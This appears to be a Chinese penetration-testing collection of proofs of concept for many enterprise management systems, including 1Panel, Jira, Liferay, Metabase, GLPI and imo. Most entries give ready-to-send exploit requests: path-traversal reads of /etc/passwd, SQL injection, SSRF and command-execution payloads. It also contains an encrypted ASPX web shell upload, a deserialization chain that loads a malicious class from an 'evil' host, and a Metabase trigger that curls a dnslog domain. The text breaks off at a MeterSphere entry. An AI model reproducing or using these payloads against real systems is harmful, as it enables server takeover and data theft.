管理系统漏洞


IP签名

企业级软件与服务

1Panel

1Panel loadfile 后台文件读取漏洞

漏洞描述

1Panel 后台存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感信息文件

漏洞影响

1Panel

网络测绘

“1Panel”

漏洞复现

登陆页面

img

img

img

验证POC

POST /api/v1/file/loadfile

{"paht":"/etc/passwd"}

image-20240811083740970

aj-report

CNVD-2024-15077

AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)

AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。

参考链接:

漏洞环境

执行如下命令启动一个AJ-Report 1.4.0服务器:

docker compose up -d

服务启动后,你可以在http://your-ip:9095查看到登录页面。

漏洞复现

要利用该漏洞,只需要发送如下数据包:

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

可见,id命令已经执行成功:

image-20240805170548753

Alibaba AnyProxy

Alibaba AnyProxy fetchBody 任意文件读取漏洞

漏洞描述

Alibaba AnyProxy 低版本存在任意文件读取,通过漏洞,攻击者可以获取服务器敏感信息

漏洞影响

Alibaba AnyProxy < 4.0.10

网络测绘

“anyproxy”

漏洞复现

页面如下

img

验证POC为

/fetchBody?id=1/../../../../../../../../etc/passwd

image-20240811085330632

Alibaba Canal

Alibaba Canal config 云密钥信息泄露漏洞

漏洞描述

由于/api/v1/canal/config 未进行权限验证可直接访问,导致账户密码、accessKey、secretKey等一系列敏感信息泄露

漏洞影响

Alibaba Canal

网络测绘

title=”Canal Admin”

漏洞复现

验证漏洞的Url为

/api/v1/canal/config/1/0

img

其中泄露了 aliyun.access 密钥,可以控制密钥下的所有服务器

默认口令 admin/123456

image-20240811085417243

Appspace

Appspace jsonprequest SSRF漏洞 CVE-2021-27670

漏洞描述

Appspace 6.2.4存在漏洞,允许通过api/v1/core/proxy/jsonprequest接口来进行服务端请求伪造,危害系统安全。

漏洞影响

Appspace 6.2.4

网络测绘

app=”Sign-in-to-Appspace-Core”

漏洞复现

登录页面为

img

验证POC

/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://lo2z02.dnslog.cn

image-20240811095551816

Atlassian jira

CVE-2019-8442

Atlassian Jira com.atlassian.jira 敏感信息泄漏

漏洞描述

Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。 远程攻击者可利用该漏洞访问Jira webroot中的文件。

漏洞影响

Atlassian Jira < 7.13.4

Atlassian Jira 8.00-8.0.4

Atlassian Jira 8.1.0-8.1.1

网络测绘

app=”ATLASSIAN-JIRA”

漏洞复现

登录页面

img

验证POC

/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml

image-20240811101046209

CVE-2019-8449

Atlassian Jira groupuserpicker 用户信息枚举漏洞

漏洞描述

Atlassian Jira groupuserpicker接口存在用户信息枚举漏洞,攻击者通过漏洞可以获取应用中的使用者账户名称,来进行进一步渗透

漏洞影响

Atlassian Jira <8.4.0

网络测绘

app=”ATLASSIAN-JIRA”

漏洞复现

登录页面

img

验证POC

/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=false

当用户存在时

img

当用户不存在时

image-20240811101123549

CVE-2019-8451

Atlassian Jira makeRequest SSRF漏洞

漏洞描述

Jira的 /plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。

漏洞影响

Atlassian Jira <8.4.0

网络测绘

app=”ATLASSIAN-JIRA”

漏洞复现

登录页面

img

验证POC

/plugins/servlet/gadgets/makeRequest?url=http://目标IP@www.baidu.com/robots.txt

image-20240811101206168

CVE-2019-11581

Atlassian Jira 模板注入漏洞(CVE-2019-11581)

Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
多个版本前存在利用模板注入执行任意命令:

  • 4.4.x
  • 5.x.x
  • 6.x.x
  • 7.0.x
  • 7.1.x
  • 7.2.x
  • 7.3.x
  • 7.4.x
  • 7.5.x
  • 7.6.x before 7.6.14 (the fixed version for 7.6.x)
  • 7.7.x
  • 7.8.x
  • 7.9.x
  • 7.10.x
  • 7.11.x
  • 7.12.x
  • 7.13.x before 7.13.5 (the fixed version for 7.13.x)
  • 8.0.x before 8.0.3 (the fixed version for 8.0.x)
  • 8.1.x before 8.1.2 (the fixed version for 8.1.x)
  • 8.2.x before 8.2.3 (the fixed version for 8.2.x)

参考资料:

环境搭建

执行如下命令启动一个Jira Server 8.1.0:

docker compose up -d

环境启动后,访问http://your-ip:8080会进入安装引导,切换“中文”,VPS条件下选择“将其设置为我”(第一项)去Atlassian官方申请一个Jira Server的测试证书(不要选择Data Center和Addons):

然后继续安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。

添加 SMTP 电邮服务器 /secure/admin/AddSmtpMailServer!default.jspa

进入系统设置 /secure/admin/ViewApplicationProperties.jspa ,开启“联系管理员表单”

貌似还要有项目才能玩,所以随便创建一个示例就行了,然后你就可以愉快的玩耍了

漏洞复现

PoC 和 CVE-2019-3396 一样

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('calc').toString()

Linux 没有 calc, 所以

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()

运行poc.py或者进入/secure/ContactAdministrators!default.jspa 直接提交 PoC

如果没看到 smtpd 有数据,那么就可能卡队列了

电邮队列瞅一瞅 /secure/admin/MailQueueAdmin!default.jspa

image-20240805170707884

CVE-2020-14181

Atlassian Jira ViewUserHover.jspa 用户信息泄露漏洞

漏洞描述

Jira存在一个未授权访问漏洞,未授权的用户可以通过一个api接口直接查询到某用户名的存在情况,该接口不同于CVE-2019-8446和CVE-2019-3403的接口,是一个新的接口。如果Jira暴露在公网中,未授权用户就可以直接访问该接口爆破出潜在的用户名。

漏洞影响

Atlassian Jira < 7.13.6

Atlassian Jira 8.0.0 - 8.5.7

Atlassian Jira 8.6.0 - 8.12.0

网络测绘

app=”Jira”

漏洞复现

打开主界面,注意标识中的 Jira版本是否在影响中

img

使用POC对用户名是否存在进行验证

/secure/ViewUserHover.jspa?username=admin

用户名如果不存在会返回

img

存在的用户名会返回

img

不存在漏洞会返回

img

CVE-2021-26086

Atlassian Jira cfx 任意文件读取漏洞

漏洞描述

Atlassian Jira Server/Data Center 8.4.0 - Limited Remote File Read/Include

漏洞影响

Atlassian Jira Server/Data Center 8.4.0

网络测绘

app=”ATLASSIAN-JIRA”

漏洞复现

登录页面

img

验证POC

/s/cfx/_/;/WEB-INF/web.xml

img

可读取敏感配置文件

WEB-INF/web.xml
WEB-INF/decorators.xml
WEB-INF/classes/seraph-config.xml
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties

Citrix XenMobile

Citrix XenMobile 任意文件读取 CVE-2020-8209

漏洞描述

XenMobile是Citrix开发的企业移动性管理软件。该产品允许企业管理员工的移动设备和移动应用程序。该软件的目的是通过允许员工安全地在企业拥有的和个人移动设备及应用程序上工作来提高生产率。 CVE-2020-8209,路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件,包括包含密码的配置文件

影响版本

RP2之前的XenMobile服务器10.12

RP4之前的XenMobile服务器10.11

RP6之前的XenMobile服务器10.1010.9

RP5之前的XenMobile服务器

网络测绘

title=”XenMobile”

漏洞复现

验证POC

/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd

image-20240811102652226

CMA客诉管理系统

CMA客诉管理系统 upFile.ashx 任意文件上传漏洞

漏洞描述

CMA客诉管理系统 upFile.ashx文件存在任意文件上传漏洞,通过漏洞攻击者可以上传任意文件控制服务器

漏洞影响

CMA客诉管理系统

网络测绘

title=”CMA客诉管理系统手机端”

漏洞复现

登录页面

img

发送请求包上传文件

POST /upFile/upFile.ashx HTTP/1.1
Host: 
Content-Length: 562
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymXf9pBIUlDVOYtnZ
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

------WebKitFormBoundarymXf9pBIUlDVOYtnZ
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream

<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

------WebKitFormBoundarymXf9pBIUlDVOYtnZ--

img

发送后回显路径,使用冰蝎连接

image-20240811102810733

Dogtag

CVE-2022-2414

Dogtag PKI XML实体注入漏洞

漏洞描述

Dogtag PKI 的XML解析器存在安全漏洞,该漏洞源于在分析 XML 文档时访问外部实体可能会导致 XML 外部实体 (XXE) 攻击。此漏洞允许远程攻击者通过发送特制的 HTTP 请求来潜在地检索任意文件的内容。

漏洞影响

Dogtag PKI

网络测绘

title=”Identity Management”

漏洞复现

登录页面

img

验证POC

POST /ca/rest/certrequests
Content-Type: application/xml

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>

image-20240811103712392

eGroupWare

eGroupWare spellchecker.php 远程命令执行漏洞

漏洞描述

eGroupWare是一个多用户,在以PHP为基础的API上的定制集为基础开发的,以WEB为基础的工作件套装,其中 spellchecker.php 文件中存在命令执行漏洞

漏洞影响

eGroupWare

网络测绘

app=”EGROUPWARE-产品”

漏洞复现

登录页面

img

验证POC

/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl%7C%7Cid%7C%7C

img

Evolucare Ecsimaging

download_stats_dicom.php 任意文件读取漏洞

漏洞描述

Evolucare Ecsimaging download_stats_dicom.php 存在文件读取漏洞,攻击者可利用该漏洞获取系统敏感信息等.

漏洞影响

EVOLUCARE Evolucare Ecsimaging 6.21.5

网络测绘

body=”ECSimaging”

漏洞复现

登录页面

img

验证POC

/download_stats_dicom.php?fullpath=/etc/passwd&filename=/etc/passwd

image-20240811104249694

new_movie.php 远程命令执行漏洞

漏洞描述

EVOLUCARE ECSimage是一款国外使用的医疗管理系统,研究发现其new_movie.php接口中存在命令注入漏洞,攻击者可利用该漏洞获取系统敏感信息等.

漏洞影响

EVOLUCARE Evolucare Ecsimaging 版本< 6.21.5

网络测绘

body=”ECSimaging”

漏洞复现

登录页面

img

验证POC

/new_movie.php?studyUID=1&start=2&end=2&file=1;pwd

image-20240811104334403

Franklin Fueling

Franklin Fueling Systems tsaupload.cgi 任意文件读取漏洞 CVE-2021-46417

漏洞描述

Franklin Fueling Systems tsaupload.cgi 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器敏感文件

漏洞影响

Franklin Fueling Systems

网络测绘

“Franklin Fueling Systems”

漏洞复现

主页面

img

验证POC

/cgi-bin/tsaupload.cgi?file_name=../../../../../../etc/passwd&password=

image-20240811105148175

GLPI

CVE-2022-35914

GLPI htmLawedTest.php 远程命令执行漏洞

漏洞描述

GLPI是个人开发者的一款开源IT和资产管理软件。该软件提供功能全面的IT资源管理接口,你可以用它来建立数据库全面管理IT的电脑,显示器,服务器,打印机,网络设备,电话,甚至硒鼓和墨盒等。GLPI 10.0.2及之前版本存在安全漏洞,该漏洞源于htmlawed 模块中 允许 PHP 代码注入

漏洞影响

GLPI

网络测绘

title=”GLPI”

漏洞复现

登录页面

img

出现问题的文件为 htmLawedTest.php, 来源于第三方库 PHP Labware

img

https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/

在 htmLawedTest.php 中接收参数并传入方法 htmLawed 中

img

跟进文件 htmLawed.php 中

img

if($C['hook']){$t = $C['hook']($t, $C, $S);}

这里可以看到参数均为用户可控参数,当控制参数 hhook 为 exec 和 text 为执行的命令时就导致了命令执行漏洞

img

验证POC

/vendor/htmlawed/htmlawed/htmLawedTest.php

img

img

访问页面获取到 sid 与 token 后再发送请求包

POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 88
Content-Type: application/x-www-form-urlencoded

token=a79cf121bde57fe0e3cc0f247f77961a&text=id&hhook=exec&sid=h1c0vk004dvulal5nj8i6en44e

image-20240811111001107

ICEFlow

ICEFlow VPN log 信息泄露漏洞

漏洞描述

ICEFlow VPN 存在信息泄露漏洞,攻击者可以查看日志中的敏感数据来进一步攻击系统

漏洞影响

ICEFlow VPN

网络测绘

title=”ICEFLOW VPN Router”

漏洞复现

可访问的日志 Url

系统日志    http://url/log/system.log
VPN日志    http://url/log/vpn.log
访问日志	http://url/log/access.log
告警日志	http://url/log/warn.log
错误日志	http://url/log/error.log
调试日志	http://url/log1/debug.log
移动用户日志 http://url/log/mobile.log
防火墙日志	http://url/log/firewall.log

img

根据日志信息获得session后,可利用实时登录系统管理后台:

http://xxx.xxx.xxx.xxx/cgi-bin/index?oid=10&session_id=xxxxxxxxxxxxxx&l=0

IceWarp

IceWarp WebClient basic 远程命令执行漏洞

漏洞描述

IceWarp WebClient 存在远程命令执行漏洞,攻击者构造特殊的请求即可远程命令执行

漏洞影响

IceWarp WebClient

网络测绘

app=”IceWarp-公司产品”

漏洞复现

登录页面如下

img

漏洞请求包为

POST /webmail/basic/ HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Cookie: use_cookies=1
Content-Length: 43

_dlg[captcha][target]=system(\'ipconfig\')\

image-20240811133415150

imo 云办公室

imo 云办公室 corpfile.php 远程命令执行漏洞

漏洞描述

imo 云办公室 corpfile.php 文件中参数过滤不足,导致可以随意进行命令拼接,获取服务器权限

漏洞影响

imo 云办公室

网络测绘

app=”iMO-云办公室”

漏洞复现

登录页面

img

漏洞文件 corpfile.php

<?php
define('DELETE_FAILED', '数据不存在,删除失败!');
define('DELETE_SUCCESS', '数据存在,删除成功!');
switch($_POST['type'])
{
  case 'corpLogo':
    $checkFile = exec('ls ' . $_POST['file']);
    $result = exec($_POST['command']);
    echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
  break;

  case 'userLogo':
    $checkFile = exec('ls ' . $_POST['file']);
    $result = exec($_POST['command']);
    echo json_encode(array('uid' => $_POST['uid'], 'user_account' => $_POST['user_account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
  break;

  case 'corpTemp':
    $checkFile = exec('ls ' . $_POST['file']);
    $result = exec($_POST['command']);
    echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
  break;

  case 'chatLog':
    $checkFile = exec('ls ' . $_POST['file']);
    $result = exec($_POST['command']);
    echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
  break;

  case 'multiChatLog':
    $checkFile = exec('ls ' . $_POST['file']);
    $result = exec($_POST['command']);
    echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
  break;

  case 'groupChatLog':
    $checkFile = exec('ls ' . $_POST['file']);
    $result = exec($_POST['command']);
    echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
  break;

  case 'backChatLog':
    $checkFile = exec('ls ' . $_POST['file']);
    $result = exec($_POST['command']);
    echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED)));
  break;
}

验证POC

POST /corpfile.php

type=corpLogo&command=id&file=;pwd>1.txt

image-20240811161927762

imo 云办公室 get_file.php 远程命令执行漏洞

漏洞描述

imo 云办公室 /file/NDisk/get_file.php 过滤不严格导致允许无限制地上传文件,攻击者可以通过该漏洞直接获取网站权限。

漏洞影响

imo 云办公室

网络测绘

app=”iMO-云办公室”

漏洞复现

登录页面

img

漏洞文件 get_file.php

<?php
// 放置在 mfs 服务器上用于获取文件列表,配合 nd_verify_large_file.php 使用
if(empty($_GET['cid']) || empty($_GET['nid']))
	exit;
$cid = $_GET['cid'];
$nid = $_GET['nid'];
$mainDir = dirname(__FILE__) . '/../upload/NDiskData/normal/' . $cid . '/';
exec("ls {$mainDir}*_{$nid}_*", $r);
$ret = array();
foreach($r as $v)
	$ret[md5_file($v)] = str_replace(dirname(__FILE__) . "/../upload/NDiskData/normal/{$cid}/", '', $v);
echo json_encode($ret);

验证POC

/file/NDisk/get_file.php?cid=1&nid=;pwd;

image-20240811161952377

imo 云办公室 Imo_DownLoadUI.php 任意文件下载漏洞

漏洞描述

imo 云办公室 由于 /file/Placard/upload/Imo_DownLoadUI.php 页面 filename 参数过滤不严,导致可以读取系统敏感文件。

漏洞影响

imo 云办公室

网络测绘

app=”iMO-云办公室”

漏洞复现

登录页面

img

验证POC

/file/Placard/upload/Imo_DownLoadUI.php?cid=1&uid=1&type=1&filename=/OpenPlatform/config/kdBind.php

image-20240811162012831

jeecg-boot

CVE-2023-1454

JeecgBoot 企业级低代码平台 qurestSql SQL注入漏洞

漏洞描述

JeecgBoot 企业级低代码平台 qurestSql接口存在 SQL注入漏洞,攻击者通过漏洞可以获取服务器数据库中的敏感数据,进一步攻击

漏洞影响

JeecgBoot 企业级低代码平台

网络测绘

app=”JeecgBoot-企业级低代码平台”

漏洞复现

登陆页面

img

验证POC

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Content-Type: application/json

{"apiSelectId":"1290104038414721025",
"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

image-20240811162054727

CVE-2023-4450

JeecgBoot JimuReport 模板注入导致命令执行漏洞(CVE-2023-4450)

JeecgBoot 是一个开源的低代码开发平台,Jimureport 是低代码报表组件之一。

当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在,由于未授权的 API /jmreport/queryFieldBySql 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。

引用:

漏洞环境

执行如下命令启动 3.5.3 版本的 JeecgBoot 后端:

docker compose up -d

在服务启动后,可访问 http://your-ip:8080/jeecg-boot/jmreport/list 查看JimuReport页面。

漏洞利用

通过 http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql sql 参数传递 freemarker payload:

curl --location 'http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql' \
--header 'Content-Type: application/json' \
--data '{
    "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
    "type": "0"
}'

image-20240805170759923

liferay-portal

CVE-2020-7961

Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

Liferay Portal CE是一款用来快速构建网站的开源系统。其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。

参考链接:

漏洞环境

执行如下命令启动Liferay Portal 7.2.0 GA1:

docker compose up -d

启动成功后,访问http://your-ip:8080即可查看到默认首页。如果环境一直没有成功启动,可能是内存不足,请使用至少2G内存的服务器运行这个环境。

漏洞复现

首先准备一个恶意的Java类,编译:

// javac LifExp.java
public class LifExp {

static {
    try {
            String[] cmd = {"bash", "-c", "touch /tmp/success"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

在保存着class文件的目录下运行一个HTTP文件服务:

$ ls
LifExp.class  LifExp.java

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp

其中,http://evil/是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。

生成的Payload是Jackson使用的,我们只需按照Liferay Portal的形式,即+参数名:类名=值,来修改这个Payload:

+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}

将上述Payload合并到HTTP请求中发送:

POST /api/jsonws/invoke HTTP/1.1
Host: your-ip:8080
Content-Length: 1346
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}

进入容器中查看,发现已经成功执行touch /tmp/success

image-20240805170838390

LimeSurver

CVE-2020-11455

LimeSurvey LimeSurveyFileManager.php 后台任意文件读取漏洞

漏洞描述

LimeSurvey(前称PHPSurveyor)是LimeSurvey团队的一套开源的在线问卷调查程序,它支持调查程序开发、调查问卷发布以及数据收集等功能。
LimeSurvey 4.1.12 + 200324之前版本中的application/controllers/admin/LimeSurveyFileManager.php文件存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。

漏洞影响

LimeSurvey < 4.1.12 + 200324

网络测绘

app=”LimeSurvey”

漏洞复现

登录页面

img

出现漏洞的文件为 application/controllers/admin/LimeSurveyFileManager.php

img

{14-19}
public function downloadFiles() { App()->loadLibrary('admin.pclzip'); $folder = basename(Yii::app()->request->getPost('folder', 'global')); $files = Yii::app()->request->getPost('files'); $tempdir = Yii::app()->getConfig('tempdir'); $randomizedFileName = $folder.'_'.substr(md5(time()),3,13).'.zip'; $zipfile = $tempdir.DIRECTORY_SEPARATOR.$randomizedFileName; $arrayOfFiles = array_map( function($file){ return $file['path']; }, $files); $archive = new PclZip($zipfile); $checkFileCreate = $archive->create($arrayOfFiles, PCLZIP_OPT_REMOVE_ALL_PATH); $urlFormat = Yii::app()->getUrlManager()->getUrlFormat(); $getFileLink = Yii::app()->createUrl('admin/filemanager/sa/getZipFile'); if($urlFormat == 'path') { $getFileLink .= '?path='.$zipfile; } else { $getFileLink .= '&path='.$zipfile; } $this->_printJsonResponse( [ 'success' => true, 'message' => sprintf(gT("Files are ready for download in archive %s."), $randomizedFileName), 'downloadLink' => $getFileLink , ] ); }

路由为: admin/filemanager/sa/getZipFile, 这里传入参数 path 到方法 getZipFile()

img

这里通过 readfile方法 读取文件,登录后台后发送请求

/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd

image-20240811165424634

LiveBOS

LiveBOS ShowImage.do 任意文件读取漏洞

漏洞描述

LiveBOS ShowImage.do 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感文件

漏洞影响

LiveBOS

网络测绘

app=”LiveBOS-框架”

漏洞复现

登陆页面

img

验证POC

/feed/ShowImage.do;.js.jsp?type=&imgName=../../../../../../../../../../../../../../../etc/passwd

image-20240811165529783

MesageSolution

MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543

漏洞描述

MessageSolution企业邮件归档管理系统 EEA是北京易讯思达科技开发有限公司开发的一款邮件归档系统。该系统存在通用WEB信息泄漏,泄露Windows服务器administrator hash与web账号密码

漏洞影响

MessageSolution 企业邮件归档管理系统EEA

网络测绘

title=”MessageSolution Enterprise Email Archiving (EEA)”

漏洞复现

登录页面如下

img

访问如下Url

http://xxx.xxx.xxx.xxx/authenticationserverservlet/

img

使用获得到的密码可以登录系统

image-20240811165627048

Metabase

CVE-2021-41277

Metabase geojson 任意文件读取漏洞

漏洞描述

在受影响的版本中,自定义 GeoJSON 地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息

漏洞影响

metabase version < 0.40.5

metabase version >= 1.0.0, < 1.40.5

网络测绘

app=”metabase”

漏洞复现

登录页面

img

验证POC

/api/geojson?url=file:/etc/passwd

image-20240811165718664

Metabase validate 远程命令执行漏洞 CVE-2023-38646

漏洞描述

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令

漏洞影响

Metabase

网络测绘

app=”Metabase”

漏洞复现

登录页面

img

验证POC

/api/session/properties

img

POST /api/setup/validate HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 812

{
    "token": "e56e2c0f-71bf-4e15-9879-d964f319be69",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl ecw14d.dnslog.cn')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

image-20240811165806163

MeterSphere

MeterSphere customMethod 远程命令执行漏洞

漏洞描述

